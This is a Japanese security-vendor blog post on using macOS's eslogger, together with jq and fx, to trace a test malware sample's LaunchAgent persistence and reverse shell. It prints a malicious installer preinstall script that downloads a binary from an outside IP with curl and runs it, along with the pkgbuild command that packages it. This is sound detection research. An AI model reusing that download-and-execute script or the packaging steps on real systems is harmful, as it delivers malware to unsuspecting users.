esloggerを使用してmacOS上の悪意ある活動を検知する

この記事では、サイバーリーズンのブルーチームが調査したmacOSに新たに組み込まれたツールesloggerの機能を評価すると共に、防御者がこのツールを使うことによって、macOS上の悪意ある活動をより良く理解し、新しい検知アプローチを構築できるようになるかについて紹介します。また弊社テスト端末において悪意ある活動を再現するために、サイバーリーズンが初期に使用したmacOS用テスト・マルウェアの1つ(ここではGustavと呼称)を利用します。

重要なポイント

macOSの新機能であるesloggerについて調査した結果、次の結論を得ました。

  • 詳細な情報を提供:esloggerは、オペレーティングシステムの活動に関する詳細な情報を提供します。この情報を利用することで、防御者は、アプリケーションを動的に分析し、新しい検知方法を開発できるようになります。
  • ネイティブアプリケーション:macOS Venturaリリースには、ネイティブアプリケーションとしてesloggerが含まれています。これを使うことで、ユーザーは追加のソフトウェアをインストールすることなく、エンドポイントセキュリティ情報を収集できます。
  • 文書化されていない出力がある:esloggerツールは複雑なJSONファイルを出力しますが、各フィールドの詳細に関するAppleのドキュメンテーションは限られています。多くのフィールド名は分かりやすいですが、一部は説明が必要なものもあります。
  • 大量の出力:設定によっては、esloggerを数分間実行しただけで、数万件のイベントが出力されることがあります。このような大量のデータを扱うには、適切なツールの選択と、明確に定義された処理パイプラインが必要となります。
  • 大規模なデータ収集を意図していない:esloggerは、複数のエンドポイントからエンドポイントセキュリティデータを収集することを目的としたものではありません。大規模環境でエンドポイントセキュリティデータを収集する場合、CybereasonのmacOSエージェントは、Endpoint Security Framework(ESF)APIを使用します。

esloggerツール

macOS 10.15におけるEndpoint Security Framework(ESF)のリリース(2019年)に伴い、Appleは非推奨のOpenBSM APIに代わって、システムイベントを監視および監査するためのAPIを導入しました。Cybereason Defense プラットフォームは、macOSエージェントを通じて、これらのシステムイベントを取り込みます。しかし、これら未生成のESFイベントを必要に応じてアクセスするためには、Appleが認可した自己開発ソフトウェア、またはMitten Macが提供するESFPlaygroundなどのサードパーティ製のESFクライアント、このどちらかが必要でした。

2022年10月にリリースされたmacOS 13.0 Venturaには、esloggerと呼ばれるツールが含まれるようになりました。esloggerは、エンドポイントセキュリティとのインターフェイスを取り持つものであり、イベントログを標準出力または統合ログシステムに出力します。

セットアップとテスト実行

esloggerをテストするにあたり、まず、フォルダを開く、ファイルを読むなど、標準的な操作によってシステムが作成するイベントを調べるために、システムをセットアップしました。またesloggerが機能するためには、esloggerを実行するアプリケーションはフルディスクアクセス権が必要です。このため、アクセス権をTerminalアプリに付与しました。


▲図1:Terminal.appの持つフルディスクアクセス権を有効化

本稿執筆時点で、esloggerは、明文化されていないものも含めて82種類のエンドポイントセキュリティイベントをサポートしています。esloggerがサポートしているすべてのイベントを表示するには、下記コマンドを使用します。

% sudo eslogger –list-events
access
authentication
btm_launch_item_add
btm_launch_item_remove

イベントタイプに関するより詳細な情報については、Appleのドキュメントをご参照ください。
esloggerがどのようなデータを生成するか知るために、このツールを使ってaccessおよびauthenticationタイプのイベントを取り込みました。そして、同ツールのJSONをファイルに出力しました。

% sudo eslogger access authentication > eslogger_trial_out.json

出力されたJSONファイルには複数のroot要素が含まれていました。このデータを有効なjsonに変換するために、下記Pythonコード(es.py)を使用しました。

#!/usr/bin/env python3
import sys
out: str = “[”
lines = sys.stdin.readlines()
for index, line in enumerate(lines):
if index == len(lines)-1:
out += “{}”.format(line)
else:
out += “{}{}”.format(line, “,”)
out += “]”
print(out)

また、fxツールを使って、jsonファイルを読みやすくしました。

% cat eslogger_trial_out.json | ./es.py | fx . > valid_out.json

fxを使用すれば、得られたjsonを対話式に解析できます。また、jqはフィルタリングするのにお勧めのツールです。fxを使って生成された個別のイベントを調べることで、1つのプロセスブロックを特定できます。そして、このプロセスブロックを使うことで、イベントと分析対象となるプロセスやツールをマッピングできます。


▲図2:エンドポイントセキュリティイベントのプロセスブロック

この情報とjqツールを利用して、com.apple.finder実行ファイルに対するイベントをフィルタリングしました。

% cat valid_out.json | jq ‘[.[] | select(.process.signing_id == “com.apple.finder” )]’ > filtered_process_events.json

その結果、com.apple.finderが/Users/secret/Desktop/blog/test_out.jsonのファイルアクセス権をチェックしていることが判明しました。


▲図3:test_out.jsonにおけるファイルアクセス権のチェックイベント

悪意ある活動の分析

初期のmacOSのテスト用マルウェアであるGustavを分析するために、下記イベントタイプを選択しました。

esloggerのイベント名 ESFのイベント名 説明
create  es_event_create_t ファイルを作成
open es_event_open_t ファイルを開く
utimes es_event_utimes_t ファイルのアクセス時刻または変更時刻を変更
unlink es_event_unlink_t ファイルを削除
exec es_event_exec_t プロセスを実行
uipc_connect es_event_uipc_connect_t ソケットを接続
kextload es_event_kextload_t カーネル拡張機能の読み込み
btm_launch_item_add btm_launch_item_add 新しい起動アイテムを作成
注:この新しいセキュリティイベントは、ユーザーへの通知としても表示されます。
このイベントのベータ版ESFの詳細については、Appleのドキュメントをご覧ください。
proc_check proc_check プロセス情報の取得

これらのイベントをフィルタリングするためのesloggerコマンドは、以下の通りです。

% sudo eslogger create open utimes unlink exec uipc_connect kextload btm_launch_item_add proc_check > gustav_first_run.json

Gustavを手動で実行しながらこのコマンドを実行したところ、1758個のイベントが生成されました。これを処理するには数が多すぎました。これらのイベントの中には、Gustavを含む75個の実行ファイルのイベントも含まれていました。

% cat valid_gustav_first_run.json | jq ‘.[].process.executable.path’ | sort | uniq | wc -l
75

% cat valid_gustav_first_run.json | jq ‘.[].process.executable.path’ | sort | uniq | grep -i Gustav
“/Users/secret/Desktop/Gustav”

実行パスのフィルタリングした結果、イベント数は23個に減少しました。

% cat valid_gustav_first_run.json | jq ‘[.[] | select(.process.executable.path == “/Users/secret/Desktop/Gustav” )]’ > filtered_gustav_processes.json

その後、fxを使って最初のイベントを隔離し、Signing IDを特定しました。このイベントはcheapDropperという名前が付けられており、これはGustavの内部名になります。


▲図4:signing_idが“cheapDropper”であることを明らかにするプロセスブロック

grepコマンドを使用して、esloggerの出力からcheapDropperという名前をフィルタリングしました。

% fx valid_gustav_first_run.json | grep -i cheapDropper | tr -d ‘[:blank:]’ | sort | uniq -c
1 “executable_path”:”/Users/secret/cheapDropper”,
36 “signing_id”:”cheapDropper”,

このコマンドを実行した結果、予想されていた通りSigning IDがcheapDropperになっている箇所が数多く出力されたほか、予想していなかった実行パスが「/Users/secret/cheapDropper」の箇所も1つ出力されました。
この実行パスは対応するイベントを持っていないことが確認されました。

% cat valid_gustav_first_run.json | jq ‘[.[] | select(.process.executable.path == “/Users/secret/cheapDropper”)]’
[]

fxを使ってcheapDropperを検索することで、btm_launch_item_addイベントを特定しました。Endpoint Securityは、起動エージェントに相当する新しいログインアイテムが作成されていることを記録していました。起動エージェントとは、ユーザーがログインした際にに自動的に実行されるスクリプトまたはバイナリであり、攻撃者は一般的にこれらのスクリプトを永続化する手法として悪用します。
btm_launch_item_addイベントは、完全なプロパティリスト(.plist)のファイルパス「file:///Users/secret/Library/LaunchAgents/bla.plist」を出力しました。


▲図5:btm_launch_item_add イベントにより、新しく作成された起動エージェントが判明

Gustavがsecretユーザーのホームディレクトリをチェックすることで、自分自身のコピーを作成していることを確認しました。このファイルの場所、名前、およびハッシュ値を、起動エージェント名と共に、「侵害の痕跡(IOC)」のリストに追加しました。


▲図6:Gustavでユーザーのホームディレクトリに自分自身のコピーを作成

このイベントのプロセスブロックを詳しく見てみると、process.executable.pathでフィルタリングすることで、このイベントが当初見つかられなかった理由が判明します。この起動アイテム自体は、macOSのバックグラウンドタスク管理デーモンにより作成されたものであり、一方で、Gustavはbla.plistファイルを作成しており、それが後ほどbackgroundtaskmanagementdにより処理されました。

私たちがこのイベントをGustavにマッピングできたのは、btm_launch_item_addイベントのsigning_idとexectutable_pathが類似していたからです。


▲図7:btm_launch_item_addのプロセスブロックに起動エージェントの作成が記録されている

次に、先ほど特定した起動エージェントが/Users/secret/cheapDropperファイルを実行していることを見つけました。
Cybereason Defense プラットフォームのテレメトリーデータを観察すると、ユーザーがログインした時点でlaunchdが起動されることが分かります。launchdは、~/Library/LaunchAgentsにあるplistファイルを読み込んだ後、その時点で実行されるようリクエストされたコマンドを実行します。


▲図8:launchdが起動エージェント経由でマルウェアを実行(Cybereason UIでの表示)

次に、その他のイベントタイプを分析することで、Gustavに関連するその他のイベントを特定しました。その結果、下記のことが判明しました。

  • event_type 10(open)が18回発生
  • event_type 13(create)が1回発生
  • event_type 86(proc_check)が3回発生
  • event_type 9(exec)が1回発生
% cat ./filtered_gustav_processes.json | jq ‘[.[].event_type]’ | grep -v -E ‘\[|\]’ | sort | uniq -c
18 10,
1 13,
3 86,
1 9

これらの要素の中からタイプ13とタイプ9のイベントを抽出するために、jqの結果を直接fxにパイプしました。これにより、JSONデータを調査することが可能になりました。

% cat filtered_gustav_processes.json | jq ‘[.[] | select(.event_type == 13 or .event_type == 9)]’ | fx

タイプ13のイベントは、起動エージェントによる.plistファイルの作成に関する情報も明らかにしました。Venturaより古いmacOSシステムは、btm_launch_item_addが存在しないため、防御者はevent_type 13を使って新しい起動エージェントの作成を特定できます。

※event_typeとイベント名の公式なマッピングが見つからなかったので、手動でマッピングを行いました。


▲図9:起動エージェントによる.plistのイベントの作成(event_type 13)。

一方で、タイプ9のイベントから新たな情報が判明しました。Gustavプロセスは子プロセスとしてbashを起動した後、ポート6666経由で192.168.64.1に対して基本的なリバースシェルを実行していたのです。私たちは、この情報をIOCリストに追加しました。


▲図10:基本的なリバースシェルのexecイベント(event_type 9)

続いて、Cybereasonプラットフォームをチェックしました。Cybereason UIでは、発信側のリバースシェルが、より親しみやすい形式で表示されました。


▲図11:Cybereasonの攻撃ツリーで図解された発信側のリバースシェル

要約

要約すると、GustavまたはcheapDropperは次のことを実行します。

  • ユーザーのホームディレクトリに自分自身をコピーする。
  • コピーを実行する起動エージェントを作成し、永続化させる。
  • リバースシェルを使用して、攻撃者のコマンド&コントロール(C2)サーバに接続する。

テスト用マルウェアであるcheapDropperは、これ以外のことは行いません。この情報を取得するために、ネイティブアプリケーションのesloggerを使用しました。また、複雑なJSON出力を分析するために、fxとjqを使用しました。

esloggerのテスト:プリインストールスクリプト

esloggerを使用して、macOSで一般的に使われるもう1つの永続化の手法であるプリインストールスクリプトも調査しました。攻撃者は、悪意あるmacOSインストーラーパッケージ(.pkg)ファイルに、プリインストールスクリプトとポストインストールスクリプトを含める場合があります。

通常、これらのスクリプトは、システムが当該パッケージをインストールする前または後に、rootアカウントで実行されます。攻撃者は、ユーザーを騙して悪意あるインストーラーパッケージを実行させることができます。私たちが行ったテストでは、インストールスクリプトサンプルの中に、curlを使用してGustavをダウンロードさせた後、当該パッケージを実行させました。

#!/bin/bash
curl -k 192.168.65.1:7777/Gustav -o /private/tmp/gustav && chmod +x /private/tmp/gustav && /private/tmp/gustav
exit 0

pkgbuild ユーティリティを使用して、このパッケージを作成しました。同パッケージは、プリインストールスクリプトのみを含むものでした。

% pkgbuild –identifier exec.script.test –nopayload evil.pkg –scripts ./scripts

この脅威の分析を開始するにあたって、前回のesloggerコマンドを少し変形させ、xp_malware_detectedとset_flagsイベントを追加しました。その後、約1分間、evil.pkgインストールパッケージを実行しました。これにより、8371件のエンドポイントセキュリティイベントが検出されました。

次に、各プロセスのexecutable.pathの値をすべてリストアップし、下記の実行可能パスを含むイベントを検索しました。

/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer

しかし、抽出されたデータからは、私たちが求めている情報は得られませんでした。


▲図12:悪意あるスクリプトを含むインストールパッケージのオープンイベント

必要な情報を得る方法として、次の2つの選択肢がありました。

  • package_script_serviceプロセスに関連するイベントを検索する
  • grepを使用して、evil.pkg.evil.pkgのような特定されたIOCを含む未知のイベントを検索する

今回、package_script_serviceイベントを検索することにしました。

package_script_serviceイベントの検索

「open」エンドポイントセキュリティイベントではスクリプトが実行された証拠が得られなかったため、プリインストールスクリプトをハンティングし、package_script_serviceプロセスのアクティビティを検索しました。

このプロセスは、installer.appがUI経由で実行される際に、プリインストールスクリプトとポストインストールスクリプトの親になります。下記のコマンドを実行することで、package_script_serviceに関連するイベントを取得しました。

% cat preinstall_run_valid.json | jq ‘[.[] | select(.process.executable.path == “/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service”)]’

その結果、いくつかのproc_check、open、execイベントが見つかりました。その中である1件のexecイベントが重要と思われました。このイベントは/tmp/PKInstallSandbox.jaN7a2/Scripts/exec.script.test.dCgn6O/にあるプリインストールスクリプトの実行により生成されたものです。


▲図13:悪意あるプリインストールスクリプトを実行するためのexecイベント

package_script_serviceプロセスがプリインストールスクリプトやポストインストールスクリプトを処理している方法の詳細は、Technical Advisory – macOS Installer Local Root Privilege Escalation(CVE-2020-9817)をご参照ください。

このプリインストールスクリプトが何を実行したかを特定するために、親Pidが1625であるプロセスの中からすべてのexecイベントを検索しました。

% cat preinstall_run_valid.json | jq ‘[.[] | select(.process.ppid == 1625 and .event_type == 9)]’ | fx

その結果、最初のプリインストールスクリプト内にあるコマンドを含んでいる3つのexecイベントが見つかり、その中にはGustavをダウンロードするために実行されたコマンドも含まれていました。


▲図14:悪意あるプリインストールスクリプトの最初の部分におけるexec実行イベント

それ以外の2つのexecイベントは、ダウンロードしたバイナリのchown(ファイル所有者の更新)プロセスと、同バイナリの実行にそれぞれ対応するものでした。

要約

この簡易な分析によって、分析対象のインストールパッケージがプリインストールスクリプトを実行すること、そして更に同スクリプトがバイナリをダウンロードして実行することが、esloggerを使って明らかになりました。インストールパッケージファイルを分析するその他の方法としては、静的分析、手動でのアンパック、Suspicious Packageのようなツールの使用する、などが挙げられます。

Cybereasonのユーザーインターフェイス(UI)を使うと、同じ情報をより親しみやすい形式で表示できます。図15は、package_script_serviceプロセスがプリインストールスクリプトであるbashスクリプトを実行し、更にそのプレインストールスクリプトがcur、chmod、およびGustavを実行するコマンドが実行されたことを図解しています。


▲図 15:プリインストールスクリプト実行の完全なトレース(Cybereasonでの表示)

結論

Endpoint Security Framework(ESF)は、macOSに導入された日から、貴重なデータソースとなりました。そして今回、esloggerが導入されたことにより、ESFが提供するすべての情報をネイティブアプリケーションでも利用することが可能となりました。その結果、防御者は、追加のソフトウェアをインストールする必要なく重要なデータを収集できるようになりました。esloggerは、プロセスの振る舞いを理解し、検知の可能性を特定するために利用できる低水準の情報を提供します。

UIが提供されないことは、一部のユーザーにとっては問題となるかもしれませんが、それ以外のユーザーにとってはメリットとなりえます。しかし、詳細なドキュメントが提供されていないため、Endpoint Security Framework(ESF)と連携して作業することが時には難しくなる可能性もあります。

なお、esloggerを最も効果的に使用するためには、アナリストが監視対象となる特定のイベントを選択すること、アナリストがmacOSの内部構造に精通していること、そして同ツールが生成する膨大な量のJSONデータを処理するための優れた戦略を持っていることが必要となります。しかし、何らかの戦略を持っていたとしても、esloggerは大量の出力を生成するため、複数のエンドポイントからのデータ収集には適していません。このツールは、そのような目的に使われることを意図していません。

全体として、esloggerが防御者が使用できる重要なツールの1つになると考えています。

オペレーション中心のアプローチとは〜振る舞いの痕跡(IOB)を活用して早期検知と予測的対応を実現する〜

今日のセキュリティモデルでは、関連性のないアラートが無限に生成されます。その大半は誤検知であるか、より大きな攻撃シーケンスの一部に過ぎません。

このホワイトペーパーでは、早期検知のためのIOC(Indicators of Compromise)の価値の低下、IOCを表現するための拡張可能な共通言語の確立によるIOCの定義と運用、SolarWindsの攻撃に基づくIOB(Indicators of Behavior)の活用に関するケーススタディなどについて深く掘り下げて解説しています。
https://www.cybereason.co.jp/product-documents/white-paper/9109/